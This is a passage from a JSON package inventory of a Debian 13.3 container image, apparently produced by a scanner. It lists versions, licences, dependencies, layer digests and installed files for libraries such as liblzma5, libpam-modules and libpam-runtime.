Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libgmp10@2:6.3.0+dfsg-3" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libisl.so.23.4.0", "/usr/share/doc/libisl23/changelog.Debian.gz", "/usr/share/doc/libisl23/changelog.gz", "/usr/share/doc/libisl23/copyright", "/usr/share/gdb/auto-load/usr/lib/x86_64-linux-gnu/libisl.so.23.4.0-gdb.py" ], "AnalyzedBy": "dpkg" }, { "ID": "libitm1@14.2.0-19", "Name": "libitm1", "Identifier": { "PURL": "pkg:deb/debian/libitm1@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "dae8629a0db75bf7" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libitm.so.1.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libjansson4@2.14-2+b3", "Name": "libjansson4", "Identifier": { "PURL": "pkg:deb/debian/libjansson4@2.14-2%2Bb3?arch=amd64\u0026distro=debian-13.3", "UID": "b91fe37d65e2f81a" }, "Version": "2.14", "Release": "2+b3", "Arch": "amd64", "SrcName": "jansson", "SrcVersion": "2.14", "SrcRelease": "2", "Licenses": [ "MIT" ], "Maintainer": "Alessandro Ghedini \u003cghedo@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libjansson.so.4.14.0", "/usr/share/doc/libjansson4/README.rst", "/usr/share/doc/libjansson4/changelog.Debian.amd64.gz", "/usr/share/doc/libjansson4/changelog.Debian.gz", "/usr/share/doc/libjansson4/changelog.gz", "/usr/share/doc/libjansson4/copyright", "/usr/share/doc/libjansson4/examples/json_process.c" ], "AnalyzedBy": "dpkg" }, { "ID": "liblastlog2-2@2.41-5", "Name": "liblastlog2-2", "Identifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libsqlite3-0@3.46.1-7" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblastlog2.so.2.0.0", "/usr/share/doc/liblastlog2-2/NEWS.Debian.gz", "/usr/share/doc/liblastlog2-2/changelog.Debian.gz", "/usr/share/doc/liblastlog2-2/changelog.gz", "/usr/share/doc/liblastlog2-2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "liblsan0@14.2.0-19", "Name": "liblsan0", "Identifier": { "PURL": "pkg:deb/debian/liblsan0@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "3b3858147a225b2e" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblsan.so.0.0.0", "/usr/share/lintian/overrides/liblsan0" ], "AnalyzedBy": "dpkg" }, { "ID": "liblz4-1@1.10.0-4", "Name": "liblz4-1", "Identifier": { "PURL": "pkg:deb/debian/liblz4-1@1.10.0-4?arch=amd64\u0026distro=debian-13.3", "UID": "1f382acd2b3024e4" }, "Version": "1.10.0", "Release": "4", "Arch": "amd64", "SrcName": "lz4", "SrcVersion": "1.10.0", "SrcRelease": "4", "Licenses": [ "GPL-2.0-or-later", "BSD-2-Clause", "GPL-2.0-only" ], "Maintainer": "Nobuhiro Iwamatsu \u003ciwamatsu@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libxxhash0@0.8.3-2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblz4.so.1.10.0", "/usr/share/doc/liblz4-1/changelog.Debian.gz", "/usr/share/doc/liblz4-1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "liblzma5@5.8.1-1", "Name": "liblzma5", "Identifier": { "PURL": "pkg:deb/debian/liblzma5@5.8.1-1?arch=amd64\u0026distro=debian-13.3", "UID": "a1f09431b82b8b89" }, "Version": "5.8.1", "Release": "1", "Arch": "amd64", "SrcName": "xz-utils", "SrcVersion": "5.8.1", "SrcRelease": "1", "Licenses": [ "0BSD", "GPL-2.0-or-later", "LGPL-2.1-or-later", "FSFULLR", "GPL-3.0-or-later-WITH-Autoconf-exception-macro", "none", "PD", "permissive-nowarranty", "FSFUL", "noderivs", "PD-debian", "LGPL-2.1-only", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Sebastian Andrzej Siewior \u003csebastian@breakpoint.cc\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblzma.so.5.8.1", "/usr/share/doc/liblzma5/AUTHORS", "/usr/share/doc/liblzma5/NEWS.gz", "/usr/share/doc/liblzma5/THANKS.gz", "/usr/share/doc/liblzma5/changelog.Debian.gz", "/usr/share/doc/liblzma5/changelog.gz", "/usr/share/doc/liblzma5/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmd0@1.1.0-2+b1", "Name": "libmd0", "Identifier": { "PURL": "pkg:deb/debian/libmd0@1.1.0-2%2Bb1?arch=amd64\u0026distro=debian-13.3", "UID": "3ee34609579513b1" }, "Version": "1.1.0", "Release": "2+b1", "Arch": "amd64", "SrcName": "libmd", "SrcVersion": "1.1.0", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "BSD-3-clause-Aaron-D-Gifford", "BSD-2-Clause", "BSD-2-Clause-NetBSD", "ISC", "Beerware", "public-domain-md4", "public-domain-md5", "public-domain-sha1" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmd.so.0.1.0", "/usr/share/doc/libmd0/changelog.Debian.amd64.gz", "/usr/share/doc/libmd0/changelog.Debian.gz", "/usr/share/doc/libmd0/changelog.gz", "/usr/share/doc/libmd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmount1@2.41-5", "Name": "libmount1", "Identifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libblkid1@2.41-5", "libc6@2.41-12+deb13u2", "libselinux1@3.8.1-1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmount.so.1.1.0", "/usr/share/doc/libmount1/NEWS.Debian.gz", "/usr/share/doc/libmount1/changelog.Debian.gz", "/usr/share/doc/libmount1/changelog.gz", "/usr/share/doc/libmount1/copyright", "/usr/share/lintian/overrides/libmount1" ], "AnalyzedBy": "dpkg" }, { "ID": "libmpc3@1.3.1-1+b3", "Name": "libmpc3", "Identifier": { "PURL": "pkg:deb/debian/libmpc3@1.3.1-1%2Bb3?arch=amd64\u0026distro=debian-13.3", "UID": "9bd8e9b047c91467" }, "Version": "1.3.1", "Release": "1+b3", "Arch": "amd64", "SrcName": "mpclib3", "SrcVersion": "1.3.1", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libgmp10@2:6.3.0+dfsg-3", "libmpfr6@4.2.2-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmpc.so.3.3.1", "/usr/share/doc/libmpc3/changelog.Debian.amd64.gz", "/usr/share/doc/libmpc3/changelog.Debian.gz", "/usr/share/doc/libmpc3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmpfr6@4.2.2-1", "Name": "libmpfr6", "Identifier": { "PURL": "pkg:deb/debian/libmpfr6@4.2.2-1?arch=amd64\u0026distro=debian-13.3", "UID": "fde2bb231d46a914" }, "Version": "4.2.2", "Release": "1", "Arch": "amd64", "SrcName": "mpfr4", "SrcVersion": "4.2.2", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libgmp10@2:6.3.0+dfsg-3" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmpfr.so.6.2.2", "/usr/share/doc/libmpfr6/AUTHORS", "/usr/share/doc/libmpfr6/BUGS", "/usr/share/doc/libmpfr6/NEWS.gz", "/usr/share/doc/libmpfr6/README", "/usr/share/doc/libmpfr6/TODO.gz", "/usr/share/doc/libmpfr6/changelog.Debian.gz", "/usr/share/doc/libmpfr6/changelog.gz", "/usr/share/doc/libmpfr6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libncursesw6@6.5+20250216-2", "Name": "libncursesw6", "Identifier": { "PURL": "pkg:deb/debian/libncursesw6@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.3", "UID": "217bb0c4e6d77677" }, "Version": "6.5+20250216", "Release": "2", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.5+20250216", "SrcRelease": "2", "Maintainer": "Ncurses Maintainers \u003cncurses@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libtinfo6@6.5+20250216-2" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libformw.so.6.5", "/usr/lib/x86_64-linux-gnu/libmenuw.so.6.5", "/usr/lib/x86_64-linux-gnu/libncursesw.so.6.5", "/usr/lib/x86_64-linux-gnu/libpanelw.so.6.5" ], "AnalyzedBy": "dpkg" }, { "ID": "libnettle8t64@3.10.1-1", "Name": "libnettle8t64", "Identifier": { "PURL": "pkg:deb/debian/libnettle8t64@3.10.1-1?arch=amd64\u0026distro=debian-13.3", "UID": "fabc57a9eb23fa48" }, "Version": "3.10.1", "Release": "1", "Arch": "amd64", "SrcName": "nettle", "SrcVersion": "3.10.1", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-or-later", "GPL-2.0-or-later", "LGPL-2.0-or-later", "LGPL-2.0-only", "MIT", "GPL-3.0-with-autoconf-exception+", "public-domain", "GPL-2.0-only", "GAP" ], "Maintainer": "Magnus Holmgren \u003cholmgren@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libnettle.so.8.10", "/usr/share/doc/libnettle8t64/NEWS.gz", "/usr/share/doc/libnettle8t64/README", "/usr/share/doc/libnettle8t64/changelog.Debian.gz", "/usr/share/doc/libnettle8t64/changelog.gz", "/usr/share/doc/libnettle8t64/copyright", "/usr/share/lintian/overrides/libnettle8t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-modules@1.7.0-5", "Name": "libpam-modules", "Identifier": { "PURL": "pkg:deb/debian/libpam-modules@1.7.0-5?arch=amd64\u0026distro=debian-13.3", "UID": "274a704398461ef0" }, "Version": "1.7.0", "Release": "5", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/security/pam_access.so", "/usr/lib/x86_64-linux-gnu/security/pam_canonicalize_user.so", "/usr/lib/x86_64-linux-gnu/security/pam_debug.so", "/usr/lib/x86_64-linux-gnu/security/pam_deny.so", "/usr/lib/x86_64-linux-gnu/security/pam_echo.so", "/usr/lib/x86_64-linux-gnu/security/pam_env.so", "/usr/lib/x86_64-linux-gnu/security/pam_exec.so", "/usr/lib/x86_64-linux-gnu/security/pam_faildelay.so", "/usr/lib/x86_64-linux-gnu/security/pam_faillock.so", "/usr/lib/x86_64-linux-gnu/security/pam_filter.so", "/usr/lib/x86_64-linux-gnu/security/pam_ftp.so", "/usr/lib/x86_64-linux-gnu/security/pam_group.so", "/usr/lib/x86_64-linux-gnu/security/pam_issue.so", "/usr/lib/x86_64-linux-gnu/security/pam_keyinit.so", "/usr/lib/x86_64-linux-gnu/security/pam_limits.so", "/usr/lib/x86_64-linux-gnu/security/pam_listfile.so", "/usr/lib/x86_64-linux-gnu/security/pam_localuser.so", "/usr/lib/x86_64-linux-gnu/security/pam_loginuid.so", "/usr/lib/x86_64-linux-gnu/security/pam_mail.so", "/usr/lib/x86_64-linux-gnu/security/pam_mkhomedir.so", "/usr/lib/x86_64-linux-gnu/security/pam_motd.so", "/usr/lib/x86_64-linux-gnu/security/pam_namespace.so", "/usr/lib/x86_64-linux-gnu/security/pam_nologin.so", "/usr/lib/x86_64-linux-gnu/security/pam_permit.so", "/usr/lib/x86_64-linux-gnu/security/pam_pwhistory.so", "/usr/lib/x86_64-linux-gnu/security/pam_rhosts.so", "/usr/lib/x86_64-linux-gnu/security/pam_rootok.so", "/usr/lib/x86_64-linux-gnu/security/pam_securetty.so", "/usr/lib/x86_64-linux-gnu/security/pam_selinux.so", "/usr/lib/x86_64-linux-gnu/security/pam_sepermit.so", "/usr/lib/x86_64-linux-gnu/security/pam_setquota.so", "/usr/lib/x86_64-linux-gnu/security/pam_shells.so", "/usr/lib/x86_64-linux-gnu/security/pam_stress.so", "/usr/lib/x86_64-linux-gnu/security/pam_succeed_if.so", "/usr/lib/x86_64-linux-gnu/security/pam_time.so", "/usr/lib/x86_64-linux-gnu/security/pam_timestamp.so", "/usr/lib/x86_64-linux-gnu/security/pam_tty_audit.so", "/usr/lib/x86_64-linux-gnu/security/pam_umask.so", "/usr/lib/x86_64-linux-gnu/security/pam_unix.so", "/usr/lib/x86_64-linux-gnu/security/pam_userdb.so", "/usr/lib/x86_64-linux-gnu/security/pam_usertype.so", "/usr/lib/x86_64-linux-gnu/security/pam_warn.so", "/usr/lib/x86_64-linux-gnu/security/pam_wheel.so", "/usr/lib/x86_64-linux-gnu/security/pam_xauth.so", "/usr/share/doc/libpam-modules/NEWS.Debian.gz", "/usr/share/doc/libpam-modules/changelog.Debian.gz", "/usr/share/doc/libpam-modules/changelog.gz", "/usr/share/doc/libpam-modules/copyright", "/usr/share/doc/libpam-modules/examples/upperLOWER.c", "/usr/share/lintian/overrides/libpam-modules", "/usr/share/pam-configs/mkhomedir" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-modules-bin@1.7.0-5", "Name": "libpam-modules-bin", "Identifier": { "PURL": "pkg:deb/debian/libpam-modules-bin@1.7.0-5?arch=amd64\u0026distro=debian-13.3", "UID": "cb3babc72139f40e" }, "Version": "1.7.0", "Release": "5", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:4.0.2-2+b2", "libc6@2.41-12+deb13u2", "libcrypt1@1:4.4.38-1", "libpam0g@1.7.0-5", "libselinux1@3.8.1-1", "libsystemd0@257.9-1~deb13u1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/systemd/system/pam_namespace.service", "/usr/sbin/faillock", "/usr/sbin/mkhomedir_helper", "/usr/sbin/pam_namespace_helper", "/usr/sbin/pam_timestamp_check", "/usr/sbin/pwhistory_helper", "/usr/sbin/unix_chkpwd", "/usr/sbin/unix_update", "/usr/share/doc/libpam-modules-bin/changelog.Debian.gz", "/usr/share/doc/libpam-modules-bin/changelog.gz", "/usr/share/doc/libpam-modules-bin/copyright", "/usr/share/lintian/overrides/libpam-modules-bin" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-runtime@1.7.0-5", "Name": "libpam-runtime", "Identifier": { "PURL": "pkg:deb/debian/libpam-runtime@1.7.0-5?arch=all\u0026distro=debian-13.3", "UID": "1d4f3eaf1c0f9548" }, "Version": "1.7.0", "Release": "5", "Arch": "all", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91", "libpam-modules@1.7.0-5" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/sbin/pam-auth-update", "/usr/sbin/pam_getenv", "/usr/share/doc/libpam-runtime/changelog.Debian.gz", "/usr/share/doc/libpam-runtime/changelog.gz", "/usr/share/doc/libpam-runtime/copyright", "/usr/share/lintian/overrides/libpam-runtime", "/usr/share/locale/af/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/am/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ar/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/as/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/az/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/be/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bg/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bn_IN/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bs/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ca/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/cs/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/cy/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/da/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/de/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/de_CH/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/el/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/eo/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/es/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/et/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/eu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fa/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ga/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/gl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/gu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/he/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ia/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/id/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/is/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/it/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ja/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ka/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/km/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ko/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kw_GB/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ky/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/lt/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/lv/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ml/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ms/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/my/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nb/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ne/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/or/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pa/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pt/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ro/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ru/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/si/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sq/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sr@latin/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sv/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ta/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/te/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/tg/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/th/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/tr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/uk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ur/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/vi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/yo/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_HK/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/man/man5/access.conf.5.gz", "/usr/share/man/man5/faillock.conf.5.gz", "/usr/share/man/man5/group.conf.5.gz", "/usr/share/man/man5/limits.conf.5.gz", "/usr/share/man/man5/namespace.conf.5.gz", "/usr/share/man/man5/pam.conf.5.gz", "/usr/share/man/man5/pam_env.conf.5.gz", "/usr/share/man/man5/pwhistory.conf.5.gz", "/usr/share/man/man5/sepermit.conf.5.gz", "/usr/share/man/man5/time.conf.5.gz", "/usr/share/man/man7/PAM.7.gz", "/usr/share/man/man8/faillock.8.gz", "/usr/share/man/man8/mkhomedir_helper.8.gz", "/usr/share/man/man8/pam-auth-update.8.gz", "/usr/share/man/man8/pam_access.8.gz", "/usr/share/man/man8/pam_canonicalize_user.8.gz", "/usr/share/man/man8/pam_debug.8.gz", "/usr/share/man/man8/pam_deny.8.gz", "/usr/share/man/man8/pam_echo.8.gz", "/usr/share/man/man8/pam_env.8.gz", "/usr/share/man/man8/pam_exec.8.gz", "/usr/share/man/man8/pam_faildelay.8.gz", "/usr/share/man/man8/pam_faillock.8.gz", "/usr/share/man/man8/pam_filter.8.gz", "/usr/share/man/man8/pam_ftp.8.gz", "/usr/share/man/man8/pam_getenv.8.gz", "/usr/share/man/man8/pam_group.8.gz", "/usr/share/man/man8/pam_issue.8.gz", "/usr/share/man/man8/pam_keyinit.8.gz", "/usr/share/man/man8/pam_limits.8.gz", "/usr/share/man/man8/pam_listfile.8.gz", "/usr/share/man/man8/pam_localuser.8.gz", "/usr/share/man/man8/pam_loginuid.8.gz", "/usr/share/man/man8/pam_mail.8.gz", "/usr/share/man/man8/pam_mkhomedir.8.gz", "/usr/share/man/man8/pam_motd.8.gz", "/usr/share/man/man8/pam_namespace.8.gz", "/usr/share/man/man8/pam_namespace_helper.8.gz", "/usr/share/man/man8/pam_nologin.8.gz", "/usr/share/man/man8/pam_permit.8.gz", "/usr/share/man/man8/pam_pwhistory.8.gz", "/usr/share/man/man8/pam_rhosts.8.gz", "/usr/share/man/man8/pam_rootok.8.gz", "/usr/share/man/man8/pam_securetty.8.gz", "/usr/share/man/man8/pam_selinux.8.gz", "/usr/share/man/man8/pam_sepermit.8.gz", "/usr/share/man/man8/pam_setquota.8.gz", "/usr/share/man/man8/pam_shells.8.gz", "/usr/share/man/man8/pam_stress.8.gz", "/usr/share/man/man8/pam_succeed_if.8.gz", "/usr/share/man/man8/pam_time.8.gz", "/usr/share/man/man8/pam_timestamp.8.gz", "/usr/share/man/man8/pam_timestamp_check.8.gz", "/usr/share/man/man8/pam_tty_audit.8.gz", "/usr/share/man/man8/pam_umask.8.gz", "/usr/share/man/man8/pam_unix.8.gz", "/usr/share/man/man8/pam_userdb.8.gz", "/usr/share/man/man8/pam_usertype.8.gz", "/usr/share/man/man8/pam_warn.8.gz", "/usr/share/man/man8/pam_wheel.8.gz", "/usr/share/man/man8/pam_xauth.8.gz", "/usr/share/man/man8/pwhistory_helper.8.gz", "/usr/share/man/man8/unix_chkpwd.8.gz", "/usr/share/man/man8/unix_update.8.gz", "/usr/share/pam-configs/unix", "/usr/share/pam/common-account", "/usr/share/pam/common-account.md5sums", "/usr/share/pam/common-auth", "/usr/share/pam/common-auth.md5sums", "/usr/share/pam/common-password", 